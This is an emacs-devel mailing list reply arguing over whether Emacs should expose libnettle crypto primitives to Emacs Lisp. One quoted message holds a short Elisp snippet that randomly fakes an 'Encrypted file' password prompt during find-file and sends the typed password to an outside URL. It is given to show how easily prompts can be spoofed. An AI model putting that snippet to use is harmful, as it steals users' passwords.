Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Thu, 06 Feb 2014 14:03:56 +0900 "Stephen J. Turnbull" <address@hidden> 
wrote: 

SJT> Ted Zlatanov writes:
SJT> Not relevant in the sense that it could be done with an anonymous
SJT> popup that says it's from Emacs, too.
>> 
>> The minibuffer is much harder to fake than a popup.

SJT> Sez you.  Sez me:

SJT> (defadvice find-file (before)
SJT>   (if (= (random 1000) 42)
SJT>       (url-fetch (format "http://blackh.at/gotcherpasswordSUCKER?passwd=%s";
SJT>                          (read-passwd "Encrypted file.  Type your 
password:"))))

SJT> Note that it doesn't matter which library on load-path contains the
SJT> defadvice.  Great security model you got there.

I'm talking about an application other than Emacs stealing the
passphrase, as it can be done for the GnuPG agent popup.  Inside Emacs,
there would have to be a passphrase popup in the minibuffer or elsewhere
that can't be faked from ELisp but must come from the "secure core."

>> It doesn't have to be an exclusive choice, and I'm not asking anyone to
>> do the work on either side.

SJT> Yes, you are.  You are asking Emacs to maintain it, in a form that
SJT> Stefan would prefer *not* to install it, for a period likely to be
SJT> decades.  This is the root of Stefan's reluctance, I suppose.

He explained his objections earlier: against OpenPGP implementation,
prefers FFI, needs use cases.

>> qmail and Postfix are system applications that run as daemons.
>> Completely different from Emacs.  Emacs is more like Firefox or Chrome
>> with their embedded Javascript engines and layout renderers, as Lars
>> pointed out.  Those applications tend to use the platform's keychain
>> facilities and do the crypto work internally.

SJT> As applications, yes.  But who cares?  Try, "do they expose the crypto
SJT> facilities to users of their platform (eg, Javascript)?"  That's the
SJT> relevant question because that's what you're proposing to do with
SJT> Emacs Lisp.

Well, the Java VMs expose javax.crypto...  The analogy falls apart since
Emacs is unique, but typically you can install plugins (e.g. the Firefox
Foxmarks extension or the Chrome Hola extension) that manage some aspect
of security for you using core facilities.  The user has to grant
privileges to those plugins, though.

SJT> Not at all.  The presence of those primitives is an attractive
SJT> nuisance, encouraging security neophytes to roll-their-own authn/authz/
SJT> crypto systems.  If you want horror stories, there are plenty archived
SJT> at the RISKS forum and on CERT.  Statistically speaking, availability
SJT> of these functions will mean somebody *will* get screwed by a self-
SJT> injected security bug.

I can't debate what could happen, that's what "hypothetical" means.

Emacs has historically encouraged experimentation and non-Enterprisey
authors and software.  I find this whole discussion baffling, honestly.
Every possible scarecrow was brought out dangling on a slippery slope to
justify blocking work that might be done with some primitives from a
library we already include.

SJT> Security *necessarily* is a PITA.

That's a broad overgeneralization I can't even start to debate, but it's
definitely not true in many cases.

>> Please don't turn my point into a debate about why can't I "just use
>> GnuPG."  I'm asking to have a choice.

SJT> Emacs doesn't have to provide it, though.  Lots of users have wanted
SJT> the choice to load DSOs from since around 2000, and that was denied
SJT> *in principle* for over a decade.

We're talking about extending the imports from GnuTLS, which is already
in the core, not something actually new to Emacs.

In the past Emacs has rejected functionality because it was against the
goals of the FSF and the GNU project, not because it was deemed
amateurish.  At least that's my recollection since 2000 or so, when I
started reading emacs-devel and contributing to Emacs.

SJT> There are experts (both Daiki and Paul E claim to be such, at least
SJT> relative to you and me).  But shouldn't they have the freedom to
SJT> choose to *not* waste time on reviewing code that is (IMHO, YM
SJT> obviously Vs, etc, etc) a colossal mistake to install in the first
SJT> place?  Plus having to review the *uses* by Elisp developers?

Right, right.  Like I said...

Ted